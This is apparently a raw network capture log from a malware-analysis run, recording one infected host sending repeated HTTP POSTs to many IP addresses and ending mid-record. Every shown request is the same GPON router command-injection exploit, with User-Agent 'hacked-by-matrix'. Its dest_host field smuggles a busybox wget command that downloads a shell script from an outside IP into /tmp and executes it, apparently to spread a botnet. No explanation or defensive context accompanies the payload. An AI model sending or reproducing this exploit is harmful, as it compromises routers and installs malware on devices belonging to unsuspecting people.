Mar 21, 2024 05:26:12.178050041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.23	57874	37.59.156.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178081989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.23	56110	79.224.193.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178086042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.23	35020	5.185.12.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178112030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.23	46006	178.214.218.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178126097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.23	39542	79.108.126.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178133011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.23	49152	42.116.196.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178143024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.23	43582	42.220.195.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178170919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.23	52342	37.47.232.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178195953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.23	35106	109.228.153.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178206921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.23	39874	42.163.40.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178226948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.23	42294	210.110.188.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178226948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.23	34912	94.127.170.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178236008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.23	57744	109.103.212.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178257942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.23	45268	118.177.186.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178267956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.23	47672	210.181.27.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178302050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.23	39080	212.156.38.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178370953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.23	45848	79.154.37.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178375006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.23	46928	94.197.240.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178374052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.23	47250	210.177.137.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178404093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.23	43816	109.242.113.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178407907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.23	45642	118.243.130.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178407907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.23	59110	212.171.165.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178416967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.23	42926	178.160.75.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178417921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.23	42414	79.142.212.78	443

Timestamp	Bytes transferred	Direction	Data
